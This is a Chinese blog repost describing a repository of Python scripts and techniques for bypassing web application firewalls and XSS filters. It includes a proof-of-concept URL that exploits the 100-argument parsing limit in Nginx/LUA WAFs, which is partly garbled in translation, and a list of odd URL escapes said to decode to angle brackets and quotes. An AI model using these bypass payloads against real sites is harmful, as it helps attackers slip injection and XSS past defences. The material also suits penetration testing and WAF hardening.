vlambda博客
学习文章列表

快收藏起来 - 一系列用于生成怪异字符组合以绕过 Web 应用程序防火墙 (WAF) 和 XSS 阻止程序的 python 脚本

绕过 Web 应用程序防火墙和 XSS 过滤器


该存储库包含一些记录在案的 WAF 绕过漏洞和一系列 python 脚本,用于为 BurpSuite Pro 生成奇怪的字符组合和列表,以绕过 Web 应用程序防火墙 (WAF) 和 XSS 过滤器。


Nginx/LUA 100 请求限制漏洞利用

2018 年 10 月更新 正如最近披露的 Cloudflare 漏洞中所详述的那样,几个基于 Nginx/LUA 的 WAF 实现有一个限制,即在 WAF 不再能够看到它们之前只能处理 100 个请求(GET/POST 请求)。


“Nginx 是一个负责处理 Web 请求的 Web 服务器。它是一个稳定且通用的工具,让开发者可以通过用 LUA 编写的不同脚本,专注于 WAF 的实现。这些开源WAF中的大多数都存在相同的问题:它们没有考虑到负责在Nginx中集成LUA的模块(lua-nginx-module)不允许访问请求的所有信息。”


ngx.req.get_uri_args() 来自https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args的一些注释 “请注意,默认情况下最多解析 100 个请求参数(包括具有相同名称的参数),并且其他请求参数被静默丢弃,以防止潜在的拒绝服务攻击。”


WAF 绕过漏洞利用的概念证明 100 个请求参数:

/test.php?&a0=0&a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=220&a19=12=121& = 22&A23 = 23&A24 = 24&A25 = 25&A26 = 26&A27 = 27&A28 = 28&A29 = 29&A30 = 30&A31 = 31&A32 = 32&A33 = 33&A34 = 34&A35 = 35&A36 = 36&A37 = 37 A38 = 38&A39 = 39&A40 = 40&A41 = 41&A42 = 42&A43 = 43&A44 = 44&A45 = 45&A46 = 46&A47 = 47&A48 = 48&A49 = 49&A50 = 50&A51 = 51&A52 = 52&A53 = 53&A54 = 54&A55 = 55&A56 = 56&A57 = 57&A58 = 58&A59 = 59&A60 = 60&A61 = 61&A62 = 62&A63 = 63&A64 = 64&A65 = 65 A66 = 66&A67 = 67&A68 = 68&A69 = 69&A70 = 70 A71 = 71&A72 =72&a73=73&a74=74&a75=75&a76=76&a77=77&A78 = 78&A79 = 79&A80 = 80 A81 = 81&A82 = 82&A83 = 83&A84 = 84&A85 = 85 A86 = 86&A87 = 87&A88 = 88&A89 = 89&A90 = 90&A91 = 91&A92 = 92&A93 = 93&A94 = 94&A95 = 95&A96 = 96&A97 = 97&A98 = 98&A = information_schemas

参考文献:

p0pr0ck5/lua-resty-waf#280

https://latesthackingnews.com/2018/10/26/cloudflare-waf-bypass-vulnerability-discovered/


WAF 时髦字符测试

这些 python 脚本已经被创建来模糊奇怪的组合:

  • URL 转义字符

  • HTML 转义字符

  • 二进制字符


这些脚本是在评估期间创建的,同时试图绕过 Web 应用程序防火墙 (WAF) 以利用 XSS 漏洞。不同的网络服务器和浏览器以不同的方式解释 URL 和奇怪的字符,这可能导致绕过安全控制。当我尝试发送 > 或 < 字符时,WAF 会阻止请求。


我注意到以下 URL 转义被基于 Apache2 的 Web 服务器/WAF 应用程序转换为 < > ':

%(N%(n%)S%)U%)^%)s%)u%*C%*E%*c%*e%,.%.#%1N%1n%2S%2U%2^ %2s%2u%3C%3E%3c%3e%5.%7#%:C%:E %:c%:e%HN%Hn%IS%IU%I^%Is%Iu%JC%JE% Jc%Je%L.%N#%XN%Xn%YS%YU%Y^%Ys%Yu%ZC%ZE%Zc%Ze%.%^# %hN%hn%iS%iU%i^%is %iu%jC%jE%jc%je%l.%n#%xN%xn%yS%yU%y^%ys%yu%zC%zE%zc%ze%|。